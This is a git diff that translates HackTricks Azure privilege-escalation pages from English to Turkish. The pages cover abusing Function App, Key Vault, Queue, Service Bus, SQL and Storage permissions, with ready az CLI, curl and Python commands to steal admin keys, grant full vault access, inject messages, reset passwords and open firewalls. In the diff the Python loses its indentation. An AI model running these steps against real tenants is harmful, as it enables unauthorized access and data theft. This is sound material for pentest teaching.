"https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" ``` - ### Microsoft.Web/sites/functions/token/action -With this permission it's possible to [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) which can be later used to retrieve the **master key** and therefore access and modify the function's code: - +Bu izinle, daha sonra **master key**'i almak ve böylece fonksiyonun koduna erişmek ve değiştirmek için kullanılabilecek [**admin token**'ı](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) almak mümkündür: ```bash # Get admin token az rest --method POST \ - --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions/admin/token?api-version=2024-04-01" \ - --headers '{"Content-Type": "application/json"}' \ - --debug +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions/admin/token?api-version=2024-04-01" \ +--headers '{"Content-Type": "application/json"}' \ +--debug # Get master key curl "https://.azurewebsites.net/admin/host/systemkeys/_master" \ - -H "Authorization: Bearer " +-H "Authorization: Bearer " ``` - ### Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read) -This permissions allows to **enable functions** that might be disabled (or disable them). - +Bu izinler, **devre dışı bırakılmış olabilecek fonksiyonları etkinleştirmeye** (veya devre dışı bırakmaya) olanak tanır. ```bash # Enable a disabled function az functionapp config appsettings set \ - --name \ - --resource-group \ - --settings "AzureWebJobs.http_trigger1.Disabled=false" +--name \ +--resource-group \ +--settings "AzureWebJobs.http_trigger1.Disabled=false" ``` - -It's also possible to see if a function is enabled or disabled in the following URL (using the permission in parenthesis): - +Aşağıdaki URL'de bir fonksiyonun etkin veya devre dışı olup olmadığını görmek de mümkündür (parantez içindeki izinleri kullanarak): ```bash az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//properties/state?api-version=2024-04-01" ``` - ### Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read) -With these permissions it's possible to **modify the container run by a function app** configured to run a container. This would allow an attacker to upload a malicious azure function container app to docker hub (for example) and make the function execute it. - +Bu izinlerle, **bir konteyneri çalıştırmak üzere yapılandırılmış bir fonksiyon uygulaması tarafından çalıştırılan konteyneri değiştirmek** mümkündür. Bu, bir saldırganın kötü niyetli bir azure fonksiyon konteyner uygulamasını docker hub'a (örneğin) yüklemesine ve fonksiyonun bunu çalıştırmasına olanak tanır. ```bash az functionapp config container set --name \ - --resource-group \ - --image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0" +--resource-group \ +--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0" ``` - ### Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read) -With these permissions it's possible to **attach a new user managed identity to a function**. If the function was compromised this would allow to escalate privileges to any user managed identity. - +Bu izinlerle, **bir işleve yeni bir kullanıcı yönetilen kimlik eklemek** mümkündür. Eğer işlev tehlikeye atıldıysa, bu herhangi bir kullanıcı yönetilen kimliğine yetki yükseltmeye olanak tanır. ```bash az functionapp identity assign \ - --name \ - --resource-group \ - --identities /subscriptions//providers/Microsoft.ManagedIdentity/userAssignedIdentities/ +--name \ +--resource-group \ +--identities /subscriptions//providers/Microsoft.ManagedIdentity/userAssignedIdentities/ ``` +### Uzaktan Hata Ayıklama -### Remote Debugging - -It's also possible to connect to debug a running Azure function as [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). However, by default Azure will turn this option to off in 2 days in case the developer forgets to avoid leaving vulnerable configurations. - -It's possible to check if a Function has debugging enabled with: +Çalışan bir Azure fonksiyonunu hata ayıklamak için bağlanmak da mümkündür, [**belgelerde açıklandığı gibi**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Ancak, varsayılan olarak Azure, geliştiricinin savunmasız yapılandırmalar bırakmayı unuttuğu durumlarda bu seçeneği 2 gün içinde kapatacaktır. +Bir Fonksiyonun hata ayıklamanın etkin olup olmadığını kontrol etmek mümkündür: ```bash az functionapp show --name --resource-group ``` - -Having the permission `Microsoft.Web/sites/config/write` it's also possible to put a function in debugging mode (the following command also requires the permissions `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` and `Microsoft.Web/sites/Read`). - +`Microsoft.Web/sites/config/write` iznine sahip olmak, bir işlevi hata ayıklama moduna koymayı da mümkün kılar (aşağıdaki komut ayrıca `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` ve `Microsoft.Web/sites/Read` izinlerini de gerektirir). ```bash az functionapp config set --remote-debugging-enabled=True --name --resource-group ``` +### Github reposunu değiştir -### Change Github repo - -I tried changing the Github repo from where the deploying is occurring by executing the following commands but even if it did change, **the new code was not loaded** (probably because it's expecting the Github Action to update the code).\ -Moreover, the **managed identity federated credential wasn't updated** allowing the new repository, so it looks like this isn't very useful. - +Dağıtımın gerçekleştiği Github reposunu değiştirmek için aşağıdaki komutları çalıştırdım ama değişse bile, **yeni kod yüklenmedi** (muhtemelen Github Action'ın kodu güncellemesini beklediği için).\ +Ayrıca, **yönetilen kimlik federasyon kimliği güncellenmedi** ve yeni depoya izin vermedi, bu yüzden bu pek faydalı görünmüyor. ```bash # Remove current az functionapp deployment source delete \ - --name funcGithub \ - --resource-group Resource_Group_1 +--name funcGithub \ +--resource-group Resource_Group_1 # Load new public repo az functionapp deployment source config \ - --name funcGithub \ - --resource-group Resource_Group_1 \ - --repo-url "https://github.com/orgname/azure_func3" \ - --branch main --github-action true +--name funcGithub \ +--resource-group Resource_Group_1 \ +--repo-url "https://github.com/orgname/azure_func3" \ +--branch main --github-action true ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md index 2db843851..7ca821c98 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md @@ -4,7 +4,7 @@ ## Azure Key Vault -For more information about this service check: +Bu hizmet hakkında daha fazla bilgi için kontrol edin: {{#ref}} ../az-services/keyvault.md @@ -12,8 +12,7 @@ For more information about this service check: ### Microsoft.KeyVault/vaults/write -An attacker with this permission will be able to modify the policy of a key vault (the key vault must be using access policies instead of RBAC). - +Bu izne sahip bir saldırgan, bir anahtar kasasının politikasını değiştirebilecektir (anahtar kasası, RBAC yerine erişim politikalarını kullanıyor olmalıdır). ```bash # If access policies in the output, then you can abuse it az keyvault show --name @@ -23,16 +22,11 @@ az ad signed-in-user show --query id --output tsv # Assign all permissions az keyvault set-policy \ - --name \ - --object-id \ - --key-permissions all \ - --secret-permissions all \ - --certificate-permissions all \ - --storage-permissions all +--name \ +--object-id \ +--key-permissions all \ +--secret-permissions all \ +--certificate-permissions all \ +--storage-permissions all ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md index db0b051cb..5586a7598 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md @@ -4,7 +4,7 @@ ## Queue -For more information check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../az-services/az-queue-enum.md @@ -12,50 +12,41 @@ For more information check: ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/read` -An attacker with this permission can peek messages from an Azure Storage Queue. This allows the attacker to view the content of messages without marking them as processed or altering their state. This could lead to unauthorized access to sensitive information, enabling data exfiltration or gathering intelligence for further attacks. - +Bu izne sahip bir saldırgan, bir Azure Storage Queue'dan mesajları önizleyebilir. Bu, saldırgana mesajların içeriğini işlenmiş olarak işaretlemeden veya durumlarını değiştirmeden görüntüleme imkanı tanır. Bu, hassas bilgilere yetkisiz erişime yol açabilir ve veri sızdırma veya daha fazla saldırı için istihbarat toplama olanağı sağlayabilir. ```bash az storage message peek --queue-name --account-name ``` - -**Potential Impact**: Unauthorized access to the queue, message exposure, or queue manipulation by unauthorized users or services. +**Potansiyel Etki**: Yetkisiz kullanıcılar veya hizmetler tarafından kuyruğa yetkisiz erişim, mesajların ifşası veya kuyruk manipülasyonu. ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/process/action` -With this permission, an attacker can retrieve and process messages from an Azure Storage Queue. This means they can read the message content and mark it as processed, effectively hiding it from legitimate systems. This could lead to sensitive data being exposed, disruptions in how messages are handled, or even stopping important workflows by making messages unavailable to their intended users. - +Bu izinle, bir saldırgan Azure Storage Queue'dan mesajları alabilir ve işleyebilir. Bu, mesaj içeriğini okuyabilecekleri ve işlenmiş olarak işaretleyebilecekleri anlamına gelir, bu da onu meşru sistemlerden gizler. Bu, hassas verilerin ifşa edilmesine, mesajların işlenme şeklinde kesintilere veya mesajları hedef kullanıcılarına ulaştırmamayı sağlayarak önemli iş akışlarının durmasına yol açabilir. ```bash az storage message get --queue-name --account-name ``` - ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/add/action` -With this permission, an attacker can add new messages to an Azure Storage Queue. This allows them to inject malicious or unauthorized data into the queue, potentially triggering unintended actions or disrupting downstream services that process the messages. - +Bu izinle, bir saldırgan Azure Storage Queue'ya yeni mesajlar ekleyebilir. Bu, kötü niyetli veya yetkisiz verilerin kuyruğa enjekte edilmesine olanak tanır ve bu da istenmeyen eylemleri tetikleyebilir veya mesajları işleyen aşağı akış hizmetlerini kesintiye uğratabilir. ```bash az storage message put --queue-name --content "Injected malicious message" --account-name ``` - ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/write` -This permission allows an attacker to add new messages or update existing ones in an Azure Storage Queue. By using this, they could insert harmful content or alter existing messages, potentially misleading applications or causing undesired behaviors in systems that rely on the queue. - +Bu izin, bir saldırganın Azure Storage Queue'da yeni mesajlar eklemesine veya mevcut olanları güncellemesine olanak tanır. Bunu kullanarak, zararlı içerik ekleyebilir veya mevcut mesajları değiştirebilir, bu da uygulamaları yanıltabilir veya kuyruğa bağımlı sistemlerde istenmeyen davranışlara neden olabilir. ```bash az storage message put --queue-name --content "Injected malicious message" --account-name #Update the message az storage message update --queue-name \ - --id \ - --pop-receipt \ - --content "Updated message content" \ - --visibility-timeout \ - --account-name +--id \ +--pop-receipt \ +--content "Updated message content" \ +--visibility-timeout \ +--account-name ``` - ### Action: `Microsoft.Storage/storageAccounts/queueServices/queues/write` -This permission allows an attacker to create or modify queues and their properties within the storage account. It can be used to create unauthorized queues, modify metadata, or change access control lists (ACLs) to grant or restrict access. This capability could disrupt workflows, inject malicious data, exfiltrate sensitive information, or manipulate queue settings to enable further attacks. - +Bu izin, bir saldırganın depolama hesabı içinde kuyruklar ve bunların özelliklerini oluşturmasına veya değiştirmesine olanak tanır. Yetkisiz kuyruklar oluşturmak, meta verileri değiştirmek veya erişim kontrol listelerini (ACL'ler) değiştirerek erişimi vermek veya kısıtlamak için kullanılabilir. Bu yetenek, iş akışlarını bozabilir, kötü niyetli veriler enjekte edebilir, hassas bilgileri dışarı sızdırabilir veya daha fazla saldırıyı mümkün kılmak için kuyruk ayarlarını manipüle edebilir. ```bash az storage queue create --name --account-name @@ -63,15 +54,10 @@ az storage queue metadata update --name --metadata key1=value1 key2 az storage queue policy set --name --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name ``` - -## References +## Referanslar - https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues - https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api - https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md index bee8aff28..2b0cd0022 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md @@ -4,16 +4,15 @@ ## Service Bus -For more information check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../az-services/az-servicebus-enum.md {{#endref}} -### Send Messages. Action: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` OR `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action` - -You can retrieve the `PrimaryConnectionString`, which acts as a credential for the Service Bus namespace. With this connection string, you can fully authenticate as the Service Bus namespace, enabling you to send messages to any queue or topic and potentially interact with the system in ways that could disrupt operations, impersonate valid users, or inject malicious data into the messaging workflow. +### Mesaj Gönder. Eylem: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` VEYA `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action` +`PrimaryConnectionString`'i alabilirsiniz, bu Service Bus ad alanı için bir kimlik bilgisi olarak işlev görür. Bu bağlantı dizesi ile, Service Bus ad alanı olarak tamamen kimlik doğrulaması yapabilir, herhangi bir kuyruk veya konuya mesaj gönderebilir ve potansiyel olarak sistemi, operasyonları kesintiye uğratacak, geçerli kullanıcıları taklit edecek veya mesajlaşma iş akışına kötü niyetli veriler enjekte edecek şekilde etkileşimde bulunabilirsiniz. ```python #You need to install the following libraries #pip install azure-servicebus @@ -30,51 +29,51 @@ TOPIC_NAME = "" # Function to send a single message to a Service Bus topic async def send_individual_message(publisher): - # Prepare a single message with updated content - single_message = ServiceBusMessage("Hacktricks-Training: Single Item") - # Send the message to the topic - await publisher.send_messages(single_message) - print("Sent a single message containing 'Hacktricks-Training'") +# Prepare a single message with updated content +single_message = ServiceBusMessage("Hacktricks-Training: Single Item") +# Send the message to the topic +await publisher.send_messages(single_message) +print("Sent a single message containing 'Hacktricks-Training'") # Function to send multiple messages to a Service Bus topic async def send_multiple_messages(publisher): - # Generate a collection of messages with updated content - message_list = [ServiceBusMessage(f"Hacktricks-Training: Item {i+1} in list") for i in range(5)] - # Send the entire collection of messages to the topic - await publisher.send_messages(message_list) - print("Sent a list of 5 messages containing 'Hacktricks-Training'") +# Generate a collection of messages with updated content +message_list = [ServiceBusMessage(f"Hacktricks-Training: Item {i+1} in list") for i in range(5)] +# Send the entire collection of messages to the topic +await publisher.send_messages(message_list) +print("Sent a list of 5 messages containing 'Hacktricks-Training'") # Function to send a grouped batch of messages to a Service Bus topic async def send_grouped_messages(publisher): - # Send a grouped batch of messages with updated content - async with publisher: - grouped_message_batch = await publisher.create_message_batch() - for i in range(10): - try: - # Append a message to the batch with updated content - grouped_message_batch.add_message(ServiceBusMessage(f"Hacktricks-Training: Item {i+1}")) - except ValueError: - # If batch reaches its size limit, handle by creating another batch - break - # Dispatch the batch of messages to the topic - await publisher.send_messages(grouped_message_batch) - print("Sent a batch of 10 messages containing 'Hacktricks-Training'") +# Send a grouped batch of messages with updated content +async with publisher: +grouped_message_batch = await publisher.create_message_batch() +for i in range(10): +try: +# Append a message to the batch with updated content +grouped_message_batch.add_message(ServiceBusMessage(f"Hacktricks-Training: Item {i+1}")) +except ValueError: +# If batch reaches its size limit, handle by creating another batch +break +# Dispatch the batch of messages to the topic +await publisher.send_messages(grouped_message_batch) +print("Sent a batch of 10 messages containing 'Hacktricks-Training'") # Main function to execute all tasks async def execute(): - # Instantiate the Service Bus client with the connection string - async with ServiceBusClient.from_connection_string( - conn_str=NAMESPACE_CONNECTION_STR, - logging_enable=True) as sb_client: - # Create a topic sender for dispatching messages to the topic - publisher = sb_client.get_topic_sender(topic_name=TOPIC_NAME) - async with publisher: - # Send a single message - await send_individual_message(publisher) - # Send multiple messages - await send_multiple_messages(publisher) - # Send a batch of messages - await send_grouped_messages(publisher) +# Instantiate the Service Bus client with the connection string +async with ServiceBusClient.from_connection_string( +conn_str=NAMESPACE_CONNECTION_STR, +logging_enable=True) as sb_client: +# Create a topic sender for dispatching messages to the topic +publisher = sb_client.get_topic_sender(topic_name=TOPIC_NAME) +async with publisher: +# Send a single message +await send_individual_message(publisher) +# Send multiple messages +await send_multiple_messages(publisher) +# Send a batch of messages +await send_grouped_messages(publisher) # Run the asynchronous execution asyncio.run(execute()) @@ -82,11 +81,9 @@ print("Messages Sent") print("----------------------------") ``` +### Mesajları Al. Eylem: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` VEYA `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action` -### Recieve Messages. Action: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` OR `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action` - -You can retrieve the PrimaryConnectionString, which serves as a credential for the Service Bus namespace. Using this connection string, you can receive messages from any queue or subscription within the namespace, allowing access to potentially sensitive or critical data, enabling data exfiltration, or interfering with message processing and application workflows. - +PrimaryConnectionString'i alabilirsiniz, bu Service Bus ad alanı için bir kimlik bilgisi olarak hizmet eder. Bu bağlantı dizesini kullanarak, ad alanındaki herhangi bir kuyruktan veya abonelikten mesaj alabilir, potansiyel olarak hassas veya kritik verilere erişim sağlayabilir, veri sızdırma işlemlerini gerçekleştirebilir veya mesaj işleme ve uygulama iş akışlarını etkileyebilirsiniz. ```python #You need to install the following libraries #pip install azure-servicebus @@ -102,48 +99,45 @@ SUBSCRIPTION_NAME = "" #Topic Subscription # Function to receive and process messages from a Service Bus subscription async def receive_and_process_messages(): - # Create a Service Bus client using the connection string - async with ServiceBusClient.from_connection_string( - conn_str=NAMESPACE_CONNECTION_STR, - logging_enable=True) as servicebus_client: +# Create a Service Bus client using the connection string +async with ServiceBusClient.from_connection_string( +conn_str=NAMESPACE_CONNECTION_STR, +logging_enable=True) as servicebus_client: - # Get the Subscription Receiver object for the specified topic and subscription - receiver = servicebus_client.get_subscription_receiver( - topic_name=TOPIC_NAME, - subscription_name=SUBSCRIPTION_NAME, - max_wait_time=5 - ) +# Get the Subscription Receiver object for the specified topic and subscription +receiver = servicebus_client.get_subscription_receiver( +topic_name=TOPIC_NAME, +subscription_name=SUBSCRIPTION_NAME, +max_wait_time=5 +) - async with receiver: - # Receive messages with a defined maximum wait time and count - received_msgs = await receiver.receive_messages( - max_wait_time=5, - max_message_count=20 - ) - for msg in received_msgs: - print("Received: " + str(msg)) - # Complete the message to remove it from the subscription - await receiver.complete_message(msg) +async with receiver: +# Receive messages with a defined maximum wait time and count +received_msgs = await receiver.receive_messages( +max_wait_time=5, +max_message_count=20 +) +for msg in received_msgs: +print("Received: " + str(msg)) +# Complete the message to remove it from the subscription +await receiver.complete_message(msg) # Run the asynchronous message processing function asyncio.run(receive_and_process_messages()) print("Message Receiving Completed") print("----------------------------") ``` - ### `Microsoft.ServiceBus/namespaces/authorizationRules/write` & `Microsoft.ServiceBus/namespaces/authorizationRules/write` -If you have these permissions, you can escalate privileges by reading or creating shared access keys. These keys allow full control over the Service Bus namespace, including managing queues, topics, and sending/receiving messages, potentially bypassing role-based access controls (RBAC). - +Bu izinlere sahipseniz, paylaşılan erişim anahtarlarını okuyarak veya oluşturarak ayrıcalıkları artırabilirsiniz. Bu anahtarlar, kuyrukları, konuları yönetme ve mesaj gönderme/alma dahil olmak üzere Service Bus ad alanı üzerinde tam kontrol sağlar ve potansiyel olarak rol tabanlı erişim kontrollerini (RBAC) atlayabilir. ```bash az servicebus namespace authorization-rule update \ - --resource-group \ - --namespace-name \ - --name RootManageSharedAccessKey \ - --rights Manage Listen Send +--resource-group \ +--namespace-name \ +--name RootManageSharedAccessKey \ +--rights Manage Listen Send ``` - -## References +## Referanslar - https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues - https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api @@ -152,7 +146,3 @@ az servicebus namespace authorization-rule update \ - https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/integration#microsoftservicebus {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md index 76dbfdcfd..be36caa70 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md @@ -4,7 +4,7 @@ ## SQL Database Privesc -For more information about SQL Database check: +SQL Database hakkında daha fazla bilgi için kontrol edin: {{#ref}} ../az-services/az-sql.md @@ -12,104 +12,88 @@ For more information about SQL Database check: ### "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/write" -With these permissions, a user can perform privilege escalation by updating or creating Azure SQL servers and modifying critical configurations, including administrative credentials. This permission allows the user to update server properties, including the SQL server admin password, enabling unauthorized access or control over the server. They can also create new servers, potentially introducing shadow infrastructure for malicious purposes. This becomes particularly critical in environments where "Microsoft Entra Authentication Only" is disabled, as they can exploit SQL-based authentication to gain unrestricted access. - +Bu izinlerle, bir kullanıcı Azure SQL sunucularını güncelleyerek veya oluşturarak ve kritik yapılandırmaları, yönetici kimlik bilgileri de dahil olmak üzere, değiştirerek ayrıcalık yükseltmesi gerçekleştirebilir. Bu izin, kullanıcının SQL sunucu yönetici şifresi de dahil olmak üzere sunucu özelliklerini güncellemesine olanak tanır ve yetkisiz erişim veya sunucu üzerinde kontrol sağlar. Ayrıca yeni sunucular oluşturabilirler, bu da kötü niyetli amaçlar için gölge altyapı oluşturma potansiyeli taşır. Bu, "Microsoft Entra Authentication Only" devre dışı bırakıldığında özellikle kritik hale gelir, çünkü SQL tabanlı kimlik doğrulamasını kullanarak sınırsız erişim elde edebilirler. ```bash # Change the server password az sql server update \ - --name \ - --resource-group \ - --admin-password +--name \ +--resource-group \ +--admin-password # Create a new server az sql server create \ - --name \ - --resource-group \ - --location \ - --admin-user \ - --admin-password +--name \ +--resource-group \ +--location \ +--admin-user \ +--admin-password ``` - -Additionally it is necesary to have the public access enabled if you want to access from a non private endpoint, to enable it: - +Ayrıca, özel bir uç noktadan erişmek istiyorsanız, genel erişimin etkinleştirilmesi gereklidir, bunu etkinleştirmek için: ```bash az sql server update \ - --name \ - --resource-group \ - --enable-public-network true +--name \ +--resource-group \ +--enable-public-network true ``` - ### "Microsoft.Sql/servers/firewallRules/write" -An attacker can manipulate firewall rules on Azure SQL servers to allow unauthorized access. This can be exploited to open up the server to specific IP addresses or entire IP ranges, including public IPs, enabling access for malicious actors. This post-exploitation activity can be used to bypass existing network security controls, establish persistence, or facilitate lateral movement within the environment by exposing sensitive resources. - +Bir saldırgan, Azure SQL sunucularındaki güvenlik duvarı kurallarını manipüle ederek yetkisiz erişime izin verebilir. Bu, sunucuyu belirli IP adreslerine veya tüm IP aralıklarına, kamu IP'leri de dahil olmak üzere, açmak için kullanılabilir ve kötü niyetli aktörler için erişim sağlanabilir. Bu sonrası istismar etkinliği, mevcut ağ güvenlik kontrollerini aşmak, kalıcılık sağlamak veya hassas kaynakları açığa çıkararak ortamda yan hareketi kolaylaştırmak için kullanılabilir. ```bash # Create Firewall Rule az sql server firewall-rule create \ - --name \ - --server \ - --resource-group \ - --start-ip-address \ - --end-ip-address +--name \ +--server \ +--resource-group \ +--start-ip-address \ +--end-ip-address # Update Firewall Rule az sql server firewall-rule update \ - --name \ - --server \ - --resource-group \ - --start-ip-address \ - --end-ip-address +--name \ +--server \ +--resource-group \ +--start-ip-address \ +--end-ip-address ``` - -Additionally, `Microsoft.Sql/servers/outboundFirewallRules/delete` permission lets you delete a Firewall Rule. -NOTE: It is necesary to have the public access enabled +Ayrıca, `Microsoft.Sql/servers/outboundFirewallRules/delete` izni, bir Güvenlik Duvarı Kuralını silmenizi sağlar. +NOT: Kamu erişiminin etkinleştirilmesi gerekmektedir. ### ""Microsoft.Sql/servers/ipv6FirewallRules/write" -With this permission, you can create, modify, or delete IPv6 firewall rules on an Azure SQL Server. This could enable an attacker or authorized user to bypass existing network security configurations and gain unauthorized access to the server. By adding a rule that allows traffic from any IPv6 address, the attacker could open the server to external access." - +Bu izinle, bir Azure SQL Sunucusunda IPv6 güvenlik duvarı kuralları oluşturabilir, değiştirebilir veya silebilirsiniz. Bu, bir saldırganın veya yetkili bir kullanıcının mevcut ağ güvenlik yapılandırmalarını atlamasına ve sunucuya yetkisiz erişim elde etmesine olanak tanıyabilir. Herhangi bir IPv6 adresinden gelen trafiğe izin veren bir kural ekleyerek, saldırgan sunucuyu dış erişime açabilir. ```bash az sql server firewall-rule create \ - --server \ - --resource-group \ - --name \ - --start-ip-address \ - --end-ip-address +--server \ +--resource-group \ +--name \ +--start-ip-address \ +--end-ip-address ``` - -Additionally, `Microsoft.Sql/servers/ipv6FirewallRules/delete` permission lets you delete a Firewall Rule. -NOTE: It is necesary to have the public access enabled +Ayrıca, `Microsoft.Sql/servers/ipv6FirewallRules/delete` izni, bir Güvenlik Duvarı Kuralını silmenizi sağlar. +NOT: Genel erişimin etkinleştirilmesi gerekmektedir. ### "Microsoft.Sql/servers/administrators/write" && "Microsoft.Sql/servers/administrators/read" -With this permissions you can privesc in an Azure SQL Server environment accessing to SQL databases and retrieven critical information. Using the the command below, an attacker or authorized user can set themselves or another account as the Azure AD administrator. If "Microsoft Entra Authentication Only" is enabled you are albe to access the server and its instances. Here's the command to set the Azure AD administrator for an SQL server: - +Bu izinlerle, Azure SQL Server ortamında SQL veritabanlarına erişerek kritik bilgilere ulaşabilirsiniz. Aşağıdaki komutu kullanarak, bir saldırgan veya yetkili kullanıcı kendisini veya başka bir hesabı Azure AD yöneticisi olarak ayarlayabilir. "Microsoft Entra Authentication Only" etkinleştirildiğinde, sunucuya ve örneklerine erişim sağlayabilirsiniz. İşte bir SQL sunucusu için Azure AD yöneticisini ayarlamak için komut: ```bash az sql server ad-admin create \ - --server \ - --resource-group \ - --display-name \ - --object-id +--server \ +--resource-group \ +--display-name \ +--object-id ``` - ### "Microsoft.Sql/servers/azureADOnlyAuthentications/write" && "Microsoft.Sql/servers/azureADOnlyAuthentications/read" -With these permissions, you can configure and enforce "Microsoft Entra Authentication Only" on an Azure SQL Server, which could facilitate privilege escalation in certain scenarios. An attacker or an authorized user with these permissions can enable or disable Azure AD-only authentication. - +Bu izinlerle, belirli senaryolarda ayrıcalık yükseltmeyi kolaylaştırabilecek şekilde bir Azure SQL Sunucusu'nda "Microsoft Entra Authentication Only" yapılandırabilir ve uygulayabilirsiniz. Bu izinlere sahip bir saldırgan veya yetkili bir kullanıcı, Azure AD yalnızca kimlik doğrulamasını etkinleştirebilir veya devre dışı bırakabilir. ```bash #Enable az sql server azure-ad-only-auth enable \ - --server \ - --resource-group +--server \ +--resource-group #Disable az sql server azure-ad-only-auth disable \ - --server \ - --resource-group +--server \ +--resource-group ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md index c2545f9e2..fb323f285 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md @@ -4,7 +4,7 @@ ## Storage Privesc -For more information about storage check: +Depolama hakkında daha fazla bilgi için kontrol edin: {{#ref}} ../az-services/az-storage.md @@ -12,26 +12,21 @@ For more information about storage check: ### Microsoft.Storage/storageAccounts/listkeys/action -A principal with this permission will be able to list (and the secret values) of the **access keys** of the storage accounts. Allowing the principal to escalate its privileges over the storage accounts. - +Bu izne sahip bir yetkili, depolama hesaplarının **erişim anahtarlarının** (ve gizli değerlerinin) listesini alabilecektir. Bu, yetkilinin depolama hesapları üzerindeki ayrıcalıklarını artırmasına olanak tanır. ```bash az storage account keys list --account-name ``` - ### Microsoft.Storage/storageAccounts/regenerateKey/action -A principal with this permission will be able to renew and get the new secret value of the **access keys** of the storage accounts. Allowing the principal to escalate its privileges over the storage accounts. - -Moreover, in the response, the user will get the value of the renewed key and also of the not renewed one: +Bu izne sahip bir yetkili, depolama hesaplarının **erişim anahtarlarının** yeni gizli değerini yenileme ve alma yeteneğine sahip olacaktır. Bu, yetkilinin depolama hesapları üzerindeki ayrıcalıklarını artırmasına olanak tanır. +Ayrıca, yanıtında kullanıcı, yenilenen anahtarın değerini ve yenilenmeyen anahtarın değerini de alacaktır: ```bash az storage account keys renew --account-name --key key2 ``` - ### Microsoft.Storage/storageAccounts/write -A principal with this permission will be able to create or update an existing storage account updating any setting like network rules or policies. - +Bu izne sahip bir kullanıcı, mevcut bir depolama hesabını oluşturabilir veya güncelleyebilir ve ağ kuralları veya politikalar gibi herhangi bir ayarı güncelleyebilir. ```bash # e.g. set default action to allow so network restrictions are avoided az storage account update --name --default-action Allow @@ -39,118 +34,101 @@ az storage account update --name --default-action Allow # e.g. allow an IP address az storage account update --name --add networkRuleSet.ipRules value= ``` - -## Blobs Specific privesc +## Blobs Özel privesc ### Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write | Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete -The first permission allows to **modify immutability policies** in containers and the second to delete them. +İlk izin, konteynerlerde **değiştirilemezlik politikalarını** değiştirmeye, ikincisi ise bunları silmeye olanak tanır. > [!NOTE] -> Note that if an immutability policy is in lock state, you cannot do neither of 